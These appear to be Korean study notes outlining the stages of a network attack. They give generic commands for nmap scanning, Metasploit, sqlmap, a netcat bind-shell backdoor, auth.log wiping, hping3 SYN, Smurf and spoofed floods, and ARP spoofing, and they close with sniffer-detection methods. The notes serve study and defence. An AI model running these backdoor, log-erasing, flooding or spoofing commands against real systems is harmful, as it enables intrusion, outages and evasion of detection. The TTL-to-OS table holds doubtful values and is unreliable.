네트워크 공격의 과정
- 정보 수집 (Reconnaissance)
- 대상 네트워크 및 시스템의 정보를 수집하는 단계이다.
- 수집된 정보는 이후 공격 단계에 활용한다.
- 스캐닝 및 취약점 탐색 (Scanning and Vulnerability Assessment)
- 네트워크, 포트, 서비스 상태를 조사한다.
- 대상의 취약점을 찾기 위해 취약점 스캐너 등을 사용한다.
- 침투 (Exploitation)
- 취약점을 활용하여 시스템에 침투한다.
- 악성 코드 실행, 권한 상승 등의 공격을 수행한다.
- 유지 (Maintaining Access)
- 후속 공격을 위해 백도어 설치, 루트킷 배포.
- 지속적인 접근 권한 유지.
- 증거 은폐 및 흔적 제거 (Covering Tracks)
- 로그 파일 삭제, 이벤트 기록 위조.
- 탐지 및 추적 방지.
정보 수집
- Ping 스캐닝: 대상 서버가 활성화 상태인지 확인.
ping <target_ip>- DNS 조회 (nslookup): 도메인 정보 확인.
nslookup <target_domain>- Whois: 도메인의 소유자 정보 확인.
whois <target_domain>- Traceroute: 네트워크 경로 조사.
traceroute <target_ip>각 OS마다 고유한 TTL값이 있기 때문에, ping이나 traceroute 명령으로 TTL 값을 확인할 수 있고, OS를 추측할 수 있다.
| TTL | OS |
|---|---|
| 128 | Windows 98,2000 |
| 247 | Solaris 2.x |
| 255 | Accel linux, linux |
| 244 | Irix & linux |
| 54 | Windows NT |
| 31 | Firmware |
| 246 | Redhat linux, unix 4.0 |
| 248 | Unix 4.0 |
| 255 | Cisco router |
스캐닝 단계
- Nmap 스캐닝: 포트, 서비스 상태 확인.
nmap -sS <target_ip> # TCP SYN 스캔
nmap -sU <target_ip> # UDP 스캔- Netcat: 특정 포트에서 열려있는 서비스 확인.
nc -zv <target_ip> <port_range>취약점 탐색
- Nmap 스크립트 엔진: 취약점 스캔.
nmap --script vuln <target_ip>- Nikto: 웹 서버 취약점 탐지.
nikto -h <target_ip>침투 단계
- Metasploit: 다양한 익스플로잇 사용.
msfconsole
use exploit/<module>
set RHOST <target_ip>
exploit- SQLMap: SQL Injection 공격.
sqlmap -u "http://<target>/page?id=1" --dbs유지 및 은폐
- Netcat 백도어 설치:
nc -lvp <port> -e /bin/bash- 로그 삭제:
echo "" > /var/log/auth.log여러 공격 기법
1. DoS (Denial of Service)
DoS는 단일 시스템에서 대량의 요청을 전송해 대상 서버의 자원을 소모시켜 서비스가 정상적으로 작동하지 못하게 만드는 공격 기법이다.
명령어는 다음과 같다.
hping3 --flood --rand-source -p 80 <target_ip>-flood옵션을 통해 가능한 빠르게 패킷을 전송하고,-rand-source옵션으로 소스 IP를 무작위로 설정할 수 있다.
2. DDoS (Distributed Denial of Service)
DDoS는 여러 시스템을 이용해 대규모 트래픽을 유발하여 대상 시스템을 마비시키는 공격이다.
DoS와 유사하지만 봇넷과 같은 다수의 장치가 공격에 참여한다는 점에서 차이가 있다.
GUI 도구인 LOIC (Low Orbit Ion Cannon) 같은 도구를 사용해 실행할 수 있다.
3. Smurf Attack
Smurf 공격은 ICMP Echo 요청(Ping)을 브로드캐스트 주소로 전송하여 네트워크 내 다수의 시스템이 응답하도록 유도하는 공격 기법이다.
이 과정에서 요청자의 IP를 대상 서버의 IP로 위조해, 응답 트래픽이 모두 대상 서버로 몰리게 한다.
명령어는 다음과 같다.
hping3 --icmp --spoof <target_ip> -a <broadcast_ip>-icmp옵션으로 Ping 요청을 전송하고,-spoof옵션을 통해 스푸핑된 소스 IP를 설정할 수 있다.
4. SYN Flooding
SYN Flooding은 TCP의 3-way 핸드셰이크 과정을 악용해 대량의 SYN 요청을 전송하여 대상 서버의 연결 대기 큐를 가득 채우는 공녈이다.
ACK 패킷을 전송하지 않아 대상 시스템의 자원을 소모시킨다.
명령어는 다음과 같다.
hping3 -S -p 80 --flood <target_ip>S옵션은 SYN 플래그를 설정하며,-flood옵션은 지속적으로 빠르게 패킷을 전송한다.
5. Spoofing
Spoofing은 신뢰를 얻기 위해 IP, MAC 주소를 위조하는 기법이다.
이 기법은 인증을 우회하거나 추적을 어렵게 만드는 데 사용된다.
IP 스푸핑을 위한 명령어는 다음과 같다.
hping3 --spoof <fake_ip> -p 80 <target_ip>ARP 스푸핑을 위한 명령어는 다음과 같다.
arpspoof -i <interface> -t <target_ip> <gateway_ip>이 명령어는 특정 대상과 게이트웨이 간 ARP 테이블을 변조하는 데 사용된다.
6. Sniffing
Sniffing은 네트워크에서 전송되는 패킷을 도청하거나 캡처하여 정보를 가로채는 기법이다.
공격자는 민감한 정보를 확보하기 위해 패킷 분석 도구를 활용한다.
CLI 기반의 tcpdump 명령어는 다음과 같다.
tcpdump -i <interface> host <target_ip>GUI 기반의 Wireshark를 사용하면 더 직관적으로 패킷을 분석할 수 있다.
스니퍼 탐지 방법
- ARP 감시
arp -a명령어로 ARP 테이블 확인.- 동일 IP에 서로 다른 MAC 주소가 있으면 의심.
- Promiscuous Mode 확인
ifconfig로 인터페이스 확인.- PROMISC 플래그가 있으면 스니퍼일 가능성 있음.
- Fake Packet 테스트
- 가짜 패킷 전송 후 반응 확인.
- 예:
hping3 --icmp --spoof <fake_ip> <broadcast_ip>
- Ping 지연 시간 확인
ping <target_ip>으로 지연 시간 비교.- 평소보다 응답이 느리면 의심.
- 탐지 도구 사용
- Linux:
sniffer-detect - Windows: AntiSniff
- 네트워크 트래픽 분석
- Wireshark나 tcpdump로 비정상 트래픽 확인.
- DNS를 활용
- 고유한 DNS 요청을 전송하고 이상 응답을 확인.
- 예:
dig randomtest.<domain> - 스니퍼가 요청을 캡처하면 비정상 트래픽이 나타남.
- 암호화 활용
- 모든 트래픽을 HTTPS/TLS로 암호화.
- Wireshark 또는 tcpdump로 암호화되지 않은 비정상 트래픽 확인.
- 예:
tcpdump -i <interface> 'tcp[13] == 0x18'